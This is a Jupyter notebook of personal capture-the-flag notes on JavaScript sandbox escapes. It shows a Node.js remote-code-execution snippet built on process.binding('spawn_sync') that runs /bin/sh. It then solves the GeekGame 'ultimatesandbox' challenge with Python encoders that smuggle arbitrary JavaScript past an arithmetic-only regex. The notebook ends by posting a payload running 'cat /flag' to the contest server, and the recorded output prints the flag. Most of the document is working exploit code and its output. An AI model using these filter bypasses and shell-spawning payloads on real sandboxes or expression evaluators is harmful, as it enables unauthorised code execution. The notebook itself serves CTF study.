js_magic.ipynb

{
 "cells": [
  {
   "cell_type": "markdown",
   "id": "d00fdd61-673d-4fff-81fe-94e84ec12d69",
   "metadata": {},
   "source": [
    "## node RCE\n",
    "\n",
    "```js\n",
    "process.binding('spawn_sync')\n",
    "    .spawn({file:'/bin/sh',args:['sh', '-c', 'ls .'],\n",
    "        stdio:[{type:'pipe',readable:true,writable:false},\n",
    "            {type:'pipe',readable:true,writable:true},\n",
    "            {type:'pipe',readable:true,writable:true}]\n",
    "    })\n",
    "```\n",
    "\n",
    "About `process.binding`:\n",
    "\n",
    "- [Documentation](https://nodejs.org/api/deprecations.html#DEP0111): `process.binding()` is for use by Node.js internal code only.\n",
    "- [Source code](https://github.com/nodejs/node/blob/main/lib/internal/bootstrap/loaders.js)\n",
    "\n",
    "High level abstraction about `process.binding('spawn_sync').spawn`: https://nodejs.org/api/child_process.html#child_processspawnsynccommand-args-options."
   ]
  },
  {
   "cell_type": "markdown",
   "id": "3311636c-4ebf-4ea1-b108-34769d30b743",
   "metadata": {},
   "source": [
    "## JS with restricted charset"
   ]
  },
  {
   "cell_type": "markdown",
   "id": "4cb91746-028b-44a6-a883-28a468f39283",
   "metadata": {},
   "source": [
    "### Example: ultimatesandbox\n",
    "\n",
    "Source: [Geekgame-2nd](https://github.com/PKU-GeekGame/geekgame-2nd/tree/master/official_writeup/ultimatesandbox)\n",
    "\n",
    "Restriction: the input code need to satisfy the following regex. The regex is designed to vaildate arithmatic expression.\n",
    "\n",
    "```\n",
    "^([a-z0-9+\\-*/%(), ]|([0-9]+[.])+[0-9]+)+$\n",
    "```"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 1,
   "id": "57f17012-bd83-4843-9fa6-ac8ed2d38ff2",
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "eval(unescape(/%2f%0a%63%6f%6e%73%6f%6c%65%2e%6c%6f%67%28%31%32%33%29%2f/))\n"
     ]
    }
   ],
   "source": [
    "def urlencode(s):\n",
    "    return ''.join('%%%02x' % ord(i) for i in s)\n",
    "def escape(code):\n",
    "    return f'eval(unescape(/%2f%0a{ urlencode(code) }%2f/))'\n",
    "print(escape(r'console.log(123)'))"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 2,
   "id": "cb428a04-1a10-406c-ac76-1b460b450300",
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "/a/\n",
      "//\n",
      "console.log(123)//\n"
     ]
    }
   ],
   "source": [
    "%%script node\n",
    "console.log(unescape(/a/))\n",
    "console.log(unescape(/%2f%0a%63%6f%6e%73%6f%6c%65%2e%6c%6f%67%28%31%32%33%29%2f/))"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 3,
   "id": "c4f79232-78b6-420b-8e6a-d3ef5499a192",
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "for(const p of escape(atob(/a/))) eval(unescape(unescape(p+25+p+36+p+33+p+25+p+36+p+66+p+25+p+36+p+65+p+25+p+37+p+33+p+25+p+36+p+66+p+25+p+36+p+63+p+25+p+36+p+35+p+25+p+32+p+65+p+25+p+36+p+63+p+25+p+36+p+66+p+25+p+36+p+37+p+25+p+32+p+38+p+25+p+33+p+31+p+25+p+33+p+32+p+25+p+33+p+33+p+25+p+32+p+39+p+25+p+33+p+62+p+25+p+32+p+30+p+25+p+37+p+30+p+25+p+37+p+32+p+25+p+36+p+66+p+25+p+36+p+33+p+25+p+36+p+35+p+25+p+37+p+33+p+25+p+37+p+33+p+25+p+32+p+65+p+25+p+36+p+35+p+25+p+37+p+38+p+25+p+36+p+39+p+25+p+37+p+34+p+25+p+32+p+38+p+25+p+32+p+39)))\n"
     ]
    }
   ],
   "source": [
    "# And what if we cannot use `%`?\n",
    "# We can generate the '%' symbol with `escape(/a/)`\n",
    "def escape(code):\n",
    "    code = code + '; process.exit()';  # skip all symbols after the first '%' symbol\n",
    "    # Encode twice to ensure that there are only numbers (but no 'a'-'f'). \n",
    "    # The insight here is that 'a'-'f' lie in 0x61-0x66.\n",
    "    escaped_code = urlencode(urlencode(code)).replace('%', '+p+')[1:]\n",
    "    return f'for(const p of escape(atob(/a/))) eval(unescape(unescape({ escaped_code })))'\n",
    "submit_code = escape(r'console.log(123)')\n",
    "print(submit_code)"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 4,
   "id": "ead27a07-65e8-472c-92ed-2762f7cccfab",
   "metadata": {},
   "outputs": [],
   "source": [
    "rce_code = \"\"\"\n",
    "console.log(JSON.stringify(\n",
    "    process.binding('spawn_sync')\n",
    "    .spawn({file:'/bin/sh',args:['sh', '-c', 'cat /flag'],\n",
    "        stdio:[{type:'pipe',readable:true,writable:false},\n",
    "            {type:'pipe',readable:true,writable:true},\n",
    "            {type:'pipe',readable:true,writable:true}]\n",
    "    })\n",
    "))\n",
    "\"\"\".strip()\n",
    "submit_code = escape(rce_code)"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 5,
   "id": "f85e6da2-409a-4de8-af59-49f989ccdb56",
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "{'result': {'status': 0, 'signal': None, 'output': [None, {'type': 'Buffer', 'data': [102, 108, 97, 103, 123, 110, 111, 100, 101, 95, 115, 97, 110, 68, 98, 111, 120, 95, 49, 115, 95, 97, 108, 119, 97, 89, 83, 95, 82, 105, 115, 107, 121, 125, 10]}, {'type': 'Buffer', 'data': []}], 'pid': 1071}}\n",
      "flag{node_sanDbox_1s_alwaYS_Risky}\n",
      "\n",
      "\n"
     ]
    }
   ],
   "source": [
    "import requests\n",
    "def submit(mode, expr):\n",
    "    return requests.post('https://prob09-vtjqfzau.geekgame.pku.edu.cn/submit',\n",
    "                         json={'mode':mode, 'expr':expr}).json()\n",
    "result = submit('node', submit_code)\n",
    "print(result)\n",
    "print(''.join(map(chr, result['result']['output'][1]['data'])))\n",
    "print(''.join(map(chr, result['result']['output'][2]['data'])))"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "id": "52618498-891e-4b64-9973-79b4f7040b0d",
   "metadata": {},
   "outputs": [],
   "source": []
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "id": "5bc013bc-b81c-4c1c-9c94-adf764ed70ea",
   "metadata": {},
   "outputs": [],
   "source": []
  }
 ],
 "metadata": {
  "kernelspec": {
   "display_name": "Python 3 (ipykernel)",
   "language": "python",
   "name": "python3"
  },
  "language_info": {
   "codemirror_mode": {
    "name": "ipython",
    "version": 3
   },
   "file_extension": ".py",
   "mimetype": "text/x-python",
   "name": "python",
   "nbconvert_exporter": "python",
   "pygments_lexer": "ipython3",
   "version": "3.8.10"
  }
 },
 "nbformat": 4,
 "nbformat_minor": 5
}